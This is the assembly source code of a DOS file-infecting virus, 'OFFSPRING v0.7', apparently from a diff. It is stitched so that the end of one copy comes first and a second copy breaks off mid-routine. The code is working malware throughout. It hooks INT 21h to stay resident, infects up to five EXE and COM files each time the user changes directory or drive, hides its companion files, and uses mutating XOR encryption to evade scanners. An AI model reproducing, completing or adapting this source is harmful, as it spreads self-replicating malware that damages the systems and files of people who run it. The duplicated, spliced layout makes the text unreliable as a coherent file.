|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
@@ -0,0 +1,714 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
